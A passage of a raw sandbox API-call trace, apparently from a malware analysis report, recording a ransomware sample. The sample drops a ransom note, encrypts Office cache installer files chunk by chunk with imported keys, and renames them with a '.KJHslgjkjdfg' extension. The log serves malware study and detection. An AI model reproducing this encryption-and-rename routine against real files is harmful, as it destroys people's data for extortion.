lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0162.970] GetProcessHeap () returned 0x2ef0000 [0162.970] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11778 | out: hHeap=0x2ef0000) returned 1 [0162.970] wsprintfA (in: param_1=0x4dfef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0162.970] wsprintfA (in: param_1=0x4dff33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0162.971] GetProcessHeap () returned 0x2ef0000 [0162.971] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d638 [0162.971] wsprintfW (in: param_1=0x4dfe30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0162.971] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0162.974] WriteFile (in: hFile=0x124, lpBuffer=0x2f3d638*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe308, lpOverlapped=0x0 | out: lpBuffer=0x2f3d638*, lpNumberOfBytesWritten=0x4dfe308*=0x3b3, lpOverlapped=0x0) returned 1 [0162.974] CloseHandle (hObject=0x124) returned 1 [0162.974] GetProcessHeap () returned 0x2ef0000 [0162.974] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0162.974] GetProcessHeap () returned 0x2ef0000 [0162.974] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d638 | out: hHeap=0x2ef0000) returned 1 [0162.974] GetProcessHeap () returned 0x2ef0000 [0162.974] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0162.974] GetProcessHeap () returned 0x2ef0000 [0162.974] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0162.974] FindClose (in: hFindFile=0x2f181c8 | out: hFindFile=0x2f181c8) returned 1 [0162.974] GetProcessHeap () returned 0x2ef0000 [0162.975] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16bd8 | out: hHeap=0x2ef0000) returned 1 [0162.975] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-00A1-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92572~1")) returned 1 [0162.975] GetProcessHeap () returned 0x2ef0000 [0162.975] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f14588 [0162.975] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f181c8 [0163.016] GetProcessHeap () returned 0x2ef0000 [0163.016] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0163.016] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0163.016] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneNoteMUI.msi", cAlternateFileName="ONENOT~1.MSI")) returned 1 [0163.016] GetProcessHeap () returned 0x2ef0000 [0163.016] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f16bd8 [0163.016] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.016] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=2503680) returned 1 [0163.016] GetProcessHeap () returned 0x2ef0000 [0163.017] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0163.017] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0163.017] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.017] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0163.017] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.017] GetProcessHeap () returned 0x2ef0000 [0163.017] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0163.017] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0163.017] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.017] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0163.022] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0163.022] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0163.022] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0163.022] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0163.022] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0163.022] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0163.022] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.022] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.022] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.029] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.033] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.033] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.033] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.033] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.033] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.033] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.043] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.046] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.046] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.048] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.048] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.048] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.048] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.071] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.074] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.074] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4c0*=0x40000, lpOverlapped=0x0) returned 1 [0163.075] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.075] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4c0, lpOverlapped=0x0 | out: lpBuffer=0x4dff4c8*, lpNumberOfBytesWritten=0x4dff4c0*=0x8, lpOverlapped=0x0) returned 1 [0163.075] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.076] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2634d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.076] SetEndOfFile (hFile=0x124) returned 1 [0163.080] GetProcessHeap () returned 0x2ef0000 [0163.081] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0163.081] GetProcessHeap () returned 0x2ef0000 [0163.081] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0163.081] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.msi.kjhslgjkjdfg")) returned 1 [0163.081] CloseHandle (hObject=0x124) returned 1 [0163.082] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneNoteMUI.xml", cAlternateFileName="ONENOT~1.XML")) returned 1 [0163.082] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.082] GetProcessHeap () returned 0x2ef0000 [0163.082] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0163.082] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0163.082] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff518 | out: lpNewFilePointer=0x0) returned 1 [0163.082] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f8*=0xa, lpOverlapped=0x0) returned 1 [0163.087] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.087] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.088] GetProcessHeap () returned 0x2ef0000 [0163.088] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0163.088] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4e0*=0x40) returned 1 [0163.088] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.088] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f8*=0x40, lpOverlapped=0x0) returned 1 [0163.088] WriteFile (in: hFile=0x124, lpBuffer=0x4dff500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff500*, lpNumberOfBytesWritten=0x4dff4f8*=0x4, lpOverlapped=0x0) returned 1 [0163.088] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f8*=0x10, lpOverlapped=0x0) returned 1 [0163.088] WriteFile (in: hFile=0x124, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff4f8*=0x80, lpOverlapped=0x0) returned 1 [0163.088] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0163.088] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f8*=0x8, lpOverlapped=0x0) returned 1 [0163.088] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4fc | out: phKey=0x4dff4fc*=0x2f18208) returned 1 [0163.088] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.088] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.089] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x646, lpNumberOfBytesRead=0x4dff504, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff504*=0x646, lpOverlapped=0x0) returned 1 [0163.089] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x650, dwBufLen=0x650 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4e0*=0x650) returned 1 [0163.089] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.089] WriteFile (in: hFile=0x124, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x4dff4f8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff4f8*=0x650, lpOverlapped=0x0) returned 1 [0163.089] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.089] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.089] SetEndOfFile (hFile=0x124) returned 1 [0163.090] GetProcessHeap () returned 0x2ef0000 [0163.090] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0163.090] GetProcessHeap () returned 0x2ef0000 [0163.090] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0163.090] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.kjhslgjkjdfg")) returned 1 [0163.093] CloseHandle (hObject=0x124) returned 1 [0163.093] FindNextFileW (in: hFindFile=0x2f181c8, lpFindFileData=0x4dff588 | out: lpFindFileData=0x4dff588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0163.093] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0163.096] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x4dff508 | out: lpFileSize=0x4dff508*=17456632) returned 1 [0163.096] GetProcessHeap () returned 0x2ef0000 [0163.096] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0163.096] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0163.096] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.096] WriteFile (in: hFile=0x124, lpBuffer=0x4dff528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff528*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0163.101] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0163.101] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.101] GetProcessHeap () returned 0x2ef0000 [0163.101] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0163.101] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff4d8*=0x40) returned 1 [0163.101] CryptDestroyKey (hKey=0x2f18208) returned 1 [0163.101] WriteFile (in: hFile=0x124, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff4f4*=0x40, lpOverlapped=0x0) returned 1 [0163.101] WriteFile (in: hFile=0x124, lpBuffer=0x4dff4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff4fc*, lpNumberOfBytesWritten=0x4dff4f4*=0x4, lpOverlapped=0x0) returned 1 [0163.101] WriteFile (in: hFile=0x124, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff4f4*=0x10, lpOverlapped=0x0) returned 1 [0163.101] WriteFile (in: hFile=0x124, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff4f4*=0x80, lpOverlapped=0x0) returned 1 [0163.101] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff520 | out: lpNewFilePointer=0x0) returned 1 [0163.101] WriteFile (in: hFile=0x124, lpBuffer=0x4dff510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff4f4, lpOverlapped=0x0 | out: lpBuffer=0x4dff510*, lpNumberOfBytesWritten=0x4dff4f4*=0x8, lpOverlapped=0x0) returned 1 [0163.101] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff4f8 | out: phKey=0x4dff4f8*=0x2f18208) returned 1 [0163.101] CryptSetKeyParam (hKey=0x2f18208, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0163.101] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff4c8 | out: lpNewFilePointer=0x0) returned 1 [0163.101] ReadFile (in: hFile=0x124, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x4dff4bc, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff4bc*=0x40000, lpOverlapped=0x0) returned 1 [0163.109] CryptEncrypt (in: hKey=0x2f18208, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff4c4*=0x40000) returned 1 [0163.114] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 